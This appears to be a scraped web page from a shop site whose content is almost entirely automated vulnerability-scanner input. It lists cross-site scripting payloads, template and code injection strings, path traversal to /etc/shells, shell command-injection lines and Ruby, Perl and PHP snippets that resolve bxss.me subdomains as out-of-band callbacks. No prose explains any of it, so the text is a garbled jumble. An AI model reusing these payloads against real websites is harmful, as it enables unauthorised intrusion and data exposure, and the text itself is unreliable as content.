1

1

1

1

1

1

5558jFcvmk6

555<aIxOmMd<

555<img sRc='?

555

555

555PQETE[!+!]

5559vNSD
sRd8(9608)

555}body{zzz:Expre/**/SSion(sRd8(9260))}

555

555<ScRiPt>sRd8(9879)</sCripT>

555\u003CScRiPt\sRd8(9090)\u003C/sCripT\u003E

%35%35%35%3C%53%63%52%69%50%74%20%3E%73%52%64%38%289760%29%3C%2F%73%43%72%69%70%54%3E

555

555

555

555

555

555sRd8(9603)

555sRd8(9662)

555<ScRIpT>sRd8(9459)</sCrIpT>

555sRd8(9874)9874

555sRd8(9449)

555CODY9[!+!]

555sRd8(9624)

“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)

dfb__${98991*97996}__::.x

dfb[[${98991*97996}]]xca

1}}”}}’}}1%>”%>’%>

bxss.me

../../../../../../../../../../../../../../etc/shells

<th:t="${dfb}#foreach

/etc/shells

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

?.jpg

${9999247+10000403}

bfgx1639z1z2abcxhjl1639

‘A’.concat(70-3).concat(22*4).concat(98).concat(79).concat(117).concat(89)+(require’socket’
Socket.gethostbyname(‘hitew’+’cinjpipu5e466.bxss.me.’)[3].to_s)

bfg3462＜s1﹥s2ʺs3ʹhjl3462

‘+’A’.concat(70-3).concat(22*4).concat(107).concat(80).concat(112).concat(69)+(require’socket’
Socket.gethostbyname(‘hitwt’+’pnbtzgky5c95b.bxss.me.’)[3].to_s)+’

12345′”\’\”);|]*{
”💡

5559842651

“+”A”.concat(70-3).concat(22*4).concat(104).concat(76).concat(113).concat(86)+(require”socket”
Socket.gethostbyname(“hitrw”+”kgiorhkp9683e.bxss.me.”)[3].to_s)+”

<!–

‘”

‘”()&%sRd8(9702)

555′”()&%sRd8(9111)

wp-comments-post.php/.

wp-comments-post.php

‘”()

gethostbyname(lc(‘hitnt’.’xmcmxyvq82a16.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(109).chr(84).chr(101).chr(73)

“.gethostbyname(lc(“hitry”.”isckfntfcfef5.bxss.me.”)).”A”.chr(67).chr(hex(“58″)).chr(111).chr(69).chr(97).chr(75).”

‘.print(md5(31337)).’

‘.gethostbyname(lc(‘hitoa’.’ptgdajthffd41.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(102).chr(71).chr(108).chr(87).’

${@print(md5(31337))}\

redirtest.acx

${@print(md5(31337))}

555|echo jhntnr$()\ ihkcge\nz^xyu||a #’ |echo jhntnr$()\ ihkcge\nz^xyu||a #|” |echo jhntnr$()\ ihkcge\nz^xyu||a #

|echo olkcsb$()\ zndpdg\nz^xyu||a #’ |echo olkcsb$()\ zndpdg\nz^xyu||a #|” |echo olkcsb$()\ zndpdg\nz^xyu||a #

shop.dotv.vn

555&echo vszpsf$()\ kttpxj\nz^xyu||a #’ &echo vszpsf$()\ kttpxj\nz^xyu||a #|” &echo vszpsf$()\ kttpxj\nz^xyu||a #

&echo mutdjl$()\ eqqgtu\nz^xyu||a #’ &echo mutdjl$()\ eqqgtu\nz^xyu||a #|” &echo mutdjl$()\ eqqgtu\nz^xyu||a #

^(#$!@#$)(()))******

echo ztyses$()\ aterlr\nz^xyu||a #’ &echo ztyses$()\ aterlr\nz^xyu||a #|” &echo ztyses$()\ aterlr\nz^xyu||a #

https://shop.dotv.vn/

!(()&&!|*|*|

)

./555

../555

“+response.write(9004201*9115398)+”

‘+response.write(9004201*9115398)+’

response.write(9004201*9115398)

bxss.me/t/xss.html?%00

555

555

1